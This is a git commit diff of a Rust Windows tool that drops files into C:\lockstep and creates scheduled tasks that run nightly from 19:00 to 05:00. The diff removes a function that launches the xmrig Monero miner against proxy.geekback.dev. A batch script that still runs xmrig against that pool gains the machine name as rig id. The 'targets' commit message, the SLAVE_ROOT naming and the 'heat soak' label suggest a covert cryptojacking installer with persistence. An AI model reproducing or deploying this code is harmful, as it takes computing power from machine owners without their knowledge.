targets dont like the other format
This commit is contained in:
parent
7dc198218d
commit
90db676ae3
79
src/main.rs
79
src/main.rs
@ -30,9 +30,7 @@ pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield";
|
|||||||
#[derive(Debug, Clone, Copy, Default, ValueEnum)]
|
#[derive(Debug, Clone, Copy, Default, ValueEnum)]
|
||||||
enum AppModes {
|
enum AppModes {
|
||||||
#[default]
|
#[default]
|
||||||
KillCommand,
|
|
||||||
MoveIn,
|
MoveIn,
|
||||||
RunWork,
|
|
||||||
MoveOut,
|
MoveOut,
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -56,21 +54,6 @@ fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
|
|||||||
Command::new(binary_path).args(args).output()
|
Command::new(binary_path).args(args).output()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn run_windows_binary2(binary_path: &str, args: &[&str]) -> Box<(i32, Vec<u8>, Vec<u8>)> {
|
|
||||||
let result = Command::new(binary_path).args(args).output();
|
|
||||||
|
|
||||||
match result {
|
|
||||||
Ok(output) => Box::new((
|
|
||||||
output.status.code().unwrap_or(0),
|
|
||||||
output.stdout,
|
|
||||||
output.stderr,
|
|
||||||
)),
|
|
||||||
Err(error) => {
|
|
||||||
panic!("bad command.");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn printlog(to_say: &str) {
|
fn printlog(to_say: &str) {
|
||||||
println!("[ ✔ ] {to_say}");
|
println!("[ ✔ ] {to_say}");
|
||||||
}
|
}
|
||||||
@ -104,7 +87,7 @@ fn schedule_command(tod: &str, command: &str, name: &str) {
|
|||||||
"/st",
|
"/st",
|
||||||
tod,
|
tod,
|
||||||
"/sd",
|
"/sd",
|
||||||
"2001/01/01",
|
"01/01/2001",
|
||||||
"/tr",
|
"/tr",
|
||||||
command,
|
command,
|
||||||
];
|
];
|
||||||
@ -115,6 +98,11 @@ fn schedule_command(tod: &str, command: &str, name: &str) {
|
|||||||
printerror(format!("Status: {}", output.status).as_str());
|
printerror(format!("Status: {}", output.status).as_str());
|
||||||
printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
|
printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
|
||||||
printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
|
printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
|
||||||
|
} else {
|
||||||
|
println!("Failed to create task.");
|
||||||
|
printerror(format!("Status: {}", output.status).as_str());
|
||||||
|
printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
|
||||||
|
printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
@ -123,45 +111,7 @@ fn schedule_command(tod: &str, command: &str, name: &str) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn run_monero_miner() {
|
|
||||||
println!("Starting heat soak");
|
|
||||||
|
|
||||||
let binary = "C:/lockstep/xmrig.exe";
|
|
||||||
let hostname = hostname::get().unwrap_or("UnknownHostname".into());
|
|
||||||
let parameters = [
|
|
||||||
"-o",
|
|
||||||
"proxy.geekback.dev",
|
|
||||||
"--rig-id",
|
|
||||||
hostname.to_str().unwrap(),
|
|
||||||
"--huge-pages-jit",
|
|
||||||
"--randomx-1gb-pages",
|
|
||||||
"-B",
|
|
||||||
"--coin",
|
|
||||||
"monero",
|
|
||||||
];
|
|
||||||
|
|
||||||
match run_windows_binary(binary, ¶meters) {
|
|
||||||
Ok(output) => {
|
|
||||||
println!("Status: {}", output.status);
|
|
||||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
|
||||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("Failed to execute process: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn run_kill_command() {
|
|
||||||
let binary = "C:/windows/system32/taskkill.exe";
|
|
||||||
let work_name_path = format!("{}.exe", WORK_NAME);
|
|
||||||
let parameters = ["/IM", work_name_path.as_str(), "/F"];
|
|
||||||
|
|
||||||
run_windows_binary2(binary, ¶meters);
|
|
||||||
}
|
|
||||||
|
|
||||||
fn create_file(name: &str, content: &[u8]) {
|
fn create_file(name: &str, content: &[u8]) {
|
||||||
// File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
|
|
||||||
let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
|
let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
|
||||||
println!("Creating [{full_path}]");
|
println!("Creating [{full_path}]");
|
||||||
File::create(Path::new(full_path.as_str()))
|
File::create(Path::new(full_path.as_str()))
|
||||||
@ -171,22 +121,13 @@ fn create_file(name: &str, content: &[u8]) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn drop_scripts_and_work() {
|
fn drop_scripts_and_work() {
|
||||||
#[cfg(windows)]
|
|
||||||
{
|
|
||||||
printlog(format!("Creating {}", SLAVE_ROOT).as_str());
|
printlog(format!("Creating {}", SLAVE_ROOT).as_str());
|
||||||
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
||||||
create_file(format!("{}.cmd", DAILY_NAME).as_str(), DAILY_SRC.as_bytes());
|
create_file(format!("{}.cmd", DAILY_NAME).as_str(), DAILY_SRC.as_bytes());
|
||||||
create_file("config.bat", CONFIG_SRC.as_bytes());
|
create_file("config.bat", CONFIG_SRC.as_bytes());
|
||||||
create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
|
create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
|
||||||
create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes());
|
create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes());
|
||||||
}
|
|
||||||
#[cfg(not(windows))]
|
|
||||||
{
|
|
||||||
println!("[ ✔️ ] Create path.");
|
|
||||||
println!("[ ✔️ ] Drop daily cmd");
|
|
||||||
println!("[ ✔️ ] Drop config");
|
|
||||||
println!("[ ✔️ ] Drop worker");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn nuke_scripts_and_work() {
|
fn nuke_scripts_and_work() {
|
||||||
@ -199,17 +140,11 @@ fn main() {
|
|||||||
let opts = Cli::parse();
|
let opts = Cli::parse();
|
||||||
|
|
||||||
match opts.app_modes {
|
match opts.app_modes {
|
||||||
AppModes::KillCommand => {
|
|
||||||
run_kill_command();
|
|
||||||
}
|
|
||||||
AppModes::MoveIn => {
|
AppModes::MoveIn => {
|
||||||
schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME );
|
schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME );
|
||||||
schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME);
|
schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME);
|
||||||
drop_scripts_and_work();
|
drop_scripts_and_work();
|
||||||
}
|
}
|
||||||
AppModes::RunWork => {
|
|
||||||
run_monero_miner();
|
|
||||||
}
|
|
||||||
AppModes::MoveOut => {
|
AppModes::MoveOut => {
|
||||||
remove_command(DAILY_WORK_NAME);
|
remove_command(DAILY_WORK_NAME);
|
||||||
remove_command(DAILY_STOP_NAME);
|
remove_command(DAILY_STOP_NAME);
|
||||||
|
|||||||
@ -2,4 +2,4 @@
|
|||||||
cls
|
cls
|
||||||
echo Starting Daily Commands
|
echo Starting Daily Commands
|
||||||
cd c:\lockstep
|
cd c:\lockstep
|
||||||
xmrig.exe -o proxy.geekback.dev
|
xmrig.exe -o proxy.geekback.dev --rig-id %computernname%
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user